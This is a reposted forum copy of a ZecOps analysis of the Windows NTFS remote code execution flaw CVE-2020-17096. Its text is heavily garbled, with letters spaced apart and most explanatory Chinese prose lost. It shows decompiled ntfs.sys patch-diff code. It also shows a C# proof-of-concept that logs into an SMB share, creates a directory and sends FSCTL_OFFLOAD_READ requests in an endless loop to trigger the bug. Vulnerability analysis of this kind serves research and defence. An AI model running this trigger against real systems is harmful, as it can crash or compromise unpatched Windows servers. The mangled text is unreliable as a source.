[20453] 2021-01-06_NTFS远程代码执行(CVE-2020-17096)分析

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-18
2021-01-06_NTFS远程代码执行(CVE-2020-17096)分析 N T F S C V E - 2 0 2 0 - 1 7 0 9 6 Z E C O P S   R E S E A R C H   K h a n   2 0 2 1 - 0 1 - 0 6                                 2 0 2 0 1 2 1 2 C V E - 2 0 2 0 - 1 7 0 9 6 E x p l o i t a t i o n " " n t f s . s y s                 B i n D i f f N t f s O f f l o a d R e a d
                        W i n d o w s   8 F S C T L _ O F F L O A D _ R E A D S M B                         F S C T L _ O F F L O A D _ R E A D N t f s O f f l o a d R e a d i f o f f l o a d   r e a d                         N t f s E x t e n d e d C o m p l e t e R e q u e s t I n t e r n a l I r p C o n t e x t                         N t f s E x t e n d e d C o m p l e t e R e q u e s t I n t e r n a l N U L L I r p C o n t e x t 使 E x F r e e P o o l W i t h T a g b u g                         使 I R P I r p C o n t e x N U L L                         I R P N U L L u i n t   N t f s O f f l o a d R e a d ( P I R P _ C O N T E X T   I r p C o n t e x t ,   P I R P   I r p ) {     P V O I D   d e c o d e d   =   N t f s D e c o d e F i l e O b j e c t F o r R e a d ( . . . ) ;     i f   ( ! d e c o d e d )   {         i f   ( N t f s S t a t u s D e b u g F l a g s )   {             / /   . . .         }         / /   * * *   C h a n g e   1 :   F i r s t   a r g u m e n t   c h a n g e d   f r o m   N U L L   t o   I r p C o n t e x t         N t f s E x t e n d e d C o m p l e t e R e q u e s t I n t e r n a l ( N U L L ,   I r p ,   0 x c 0 0 0 0 0 0 d ,   1 ,   0 ) ;         / /   * * *   C h a n g e   2 :   T h e   f o l l o w i n g   i f   b l o c k   w a s   c o m p l e t e l y   r e m o v e d         i f   ( I r p C o n t e x t   & &   * ( P I R P   * ) ( I r p C o n t e x t   +   0 x 6 8 )   = =   I r p )   {             * ( P I R P   * ) ( I r p C o n t e x t   +   0 x 6 8 )   =   N U L L ;         }         i f   ( N t f s S t a t u s D e b u g F l a g s )   {             / /   . . .         }         r e t u r n   0 x c 0 0 0 0 0 0 d ;     }     / /   T h e   r e s t   o f   t h e   f u n c t i o n . . . }
                                                  "   " I C M P v 6 C V E - 2 0 2 0 - 1 6 8 9 8 C V E - 2 0 2 0 - 1 7 0 9 6   P O C ( )
u s i n g   ( v a r   t r a n s   =   n e w   S m b 2 C l i e n t T r a n s p o r t ( ) ) {         v a r   i p A d d r e s s   =   S y s t e m . N e t . I P A d d r e s s . P a r s e ( i p ) ;         t r a n s . C o n n e c t S h a r e ( s e r v e r ,   i p A d d r e s s ,   d o m a i n ,   u s e r ,   p a s s ,   s h a r e ,   S e c u r i t y P a c k a g e T y p e . N e g o t i a t e ,   t r u e ) ;         t r a n s . C r e a t e (                 r e m o t e _ p a t h ,                 F s D i r e c t o r y D e s i r e d A c c e s s . G E N E R I C _ R E A D   |   F s D i r e c t o r y D e s i r e d A c c e s s . G E N E R I C _ W R I T E ,                 F s I m p e r s o n a t i o n L e v e l . A n o n y m o u s ,                 F s F i l e A t t r i b u t e . F I L E _ A T T R I B U T E _ D I R E C T O R Y ,                 F s C r e a t e D i s p o s i t i o n . F I L E _ C R E A T E ,                 F s C r e a t e O p t i o n . F I L E _ D I R E C T O R Y _ F I L E ) ;         F S C T L _ O F F L O A D _ R E A D _ I N P U T   o f f l o a d R e a d I n p u t   =   n e w   F S C T L _ O F F L O A D _ R E A D _ I N P U T ( ) ;         o f f l o a d R e a d I n p u t . S i z e   =   3 2 ;         o f f l o a d R e a d I n p u t . F i l e O f f s e t   =   0 ;         o f f l o a d R e a d I n p u t . C o p y L e n g t h   =   0 ;
C # W i n d o w s 使 h t t p s : / / b l o g . z e c o p s . c o m / v u l n e r a b i l i t i e s / n t f s - r e m o t e - c o d e - e x e c u t i o n - c v e - 2 0 2 0 - 1 7 0 9 6 - a n a l y s i s /         b y t e [ ]   r e q u e s t I n p u t O f f l o a d R e a d   =   T y p e M a r s h a l . T o B y t e s ( o f f l o a d R e a d I n p u t ) ;         w h i l e   ( t r u e )         {                 t r a n s . S e n d I o c t l P a y l o a d ( C t l C o d e _ V a l u e s . F S C T L _ O F F L O A D _ R E A D ,   r e q u e s t I n p u t O f f l o a d R e a d ) ;                 t r a n s . E x p e c t I o c t l P a y l o a d ( o u t   _ ,   o u t   _ ) ;         } }
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则